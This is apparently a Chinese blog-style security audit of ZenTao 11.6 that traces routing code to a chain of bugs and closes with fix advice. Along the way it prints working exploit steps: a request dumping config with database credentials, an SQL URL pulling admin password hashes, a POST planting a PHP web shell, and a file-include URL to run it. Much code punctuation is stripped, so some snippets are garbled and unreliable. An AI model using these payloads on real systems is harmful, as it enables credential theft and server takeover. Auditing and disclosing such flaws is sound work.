禅道11.6漏洞审计笔记:我是如何从index.php开始挖到后台RCE的
禅道11.6漏洞深度审计从入口文件到后台RCE的完整路径第一次接触禅道11.6源码时我习惯性地从index.php这个入口文件开始阅读。与许多PHP应用类似禅道的核心逻辑往往隐藏在看似简单的初始化代码背后。这次审计让我意外发现了从信息泄露到RCE的完整漏洞链以下是详细的技术复盘。1. 参数传递机制与路由解析禅道采用典型的MVC架构但它的路由解析方式有些特殊。在index.php中以下几行代码引起了我的注意$app framework\app::instance(); $app-parseRequest(); $app-loadModule();通过跟踪parseRequest()方法发现禅道支持三种请求类型PATH_INFO、GET和静态路由。其中PATH_INFO模式的分割符为-这种设计为后续漏洞利用埋下了伏笔。关键解析流程请求URL被router.class.php中的setRouteByPathInfo()处理路径按模块-方法-参数的结构分割最终调用control类中的对应方法这种灵活的解析机制本应增强扩展性但缺乏严格的过滤导致安全隐患。例如当访问api-getModel-api-sql时实际调用链为api模块control → getModel() → sql()2. 信息泄露与配置导出漏洞在审计路由组件时意外发现一个危险的功能点// framework/base/router.class.php public function exportConfig() { return json_encode($this-config); }通过构造?modegetconfig的请求可以获取完整的系统配置信息包括数据库凭证等敏感数据。这个漏洞的根源在于配置导出接口未做权限校验敏感信息未进行脱敏处理调试接口未在生产环境禁用复现步骤发送GET请求/zentao/index.php?modegetconfig获取包含数据库密码的JSON响应3. SQL注入漏洞链分析最严重的漏洞出现在API模块的SQL查询功能中。跟踪api/model.php发现public function sql($sql) { if(strpos($sql, select) 0) { return $this-dao-query($sql)-fetchAll(); } return false; }这个实现存在三个致命问题仅检查SQL是否以select开头未验证语句合法性直接拼接用户输入到查询中返回完整查询结果利用过程http://target/api-getModel-api-sql-sqlselectaccount,passwordfromzt_user攻击者可以通过这个接口执行任意SELECT查询获取管理员凭证等重要数据。更危险的是如果数据库支持堆叠查询还可能执行UPDATE/INSERT等操作。4. 文件操作漏洞组合拳禅道的编辑器模块和API模块组合形成了完整的文件读写漏洞链4.1 任意文件写入editor/model.php中的save方法实现如下public function save($filePath, $content) { file_put_contents($filePath, $content); return true; }这个简单的实现没有进行路径合法性检查文件类型验证操作权限校验利用方式POST /zentao/api-getModel-editor-save-filePathshell.php Content: ?php system($_GET[cmd]);?4.2 文件包含漏洞在helper.class.php中发现的import方法存在问题public static function import($filePath) { include $filePath; }结合API模块的调用方式http://target/api-getModel-api-getMethod-filePathshell.php/1这个漏洞的特别之处在于利用dirname()截取路径的特性绕过部分防护可以包含上传的恶意文件支持远程代码执行5. 漏洞防御与修复建议基于这次审计经验我总结了几点关键防护措施输入过滤对所有用户输入进行白名单验证使用预处理语句防御SQL注入限制文件操作的目标目录权限控制// 示例操作前校验权限 if(!$this-app-user-admin) { die(Access denied); }安全函数危险函数安全替代方案file_put_contents配合realpath检查include使用绝对路径白名单query预处理语句日志审计记录所有敏感操作监控异常文件访问警报批量数据查询在实际项目中最容易被忽视的是看似无害的文件操作函数。就像这次发现的RCE链始于一个简单的编辑器保存功能却最终导致系统沦陷。建议开发者在实现文件相关功能时至少添加以下防护路径规范化检查文件扩展名白名单操作目录隔离内容安全扫描这次审计过程中最令我意外的是漏洞之间的连锁反应。一个简单的信息泄露可能成为更大攻击的跳板而看似独立的漏洞组合起来可能形成致命的攻击链。这提醒我们安全防护必须系统化不能只关注单个风险点。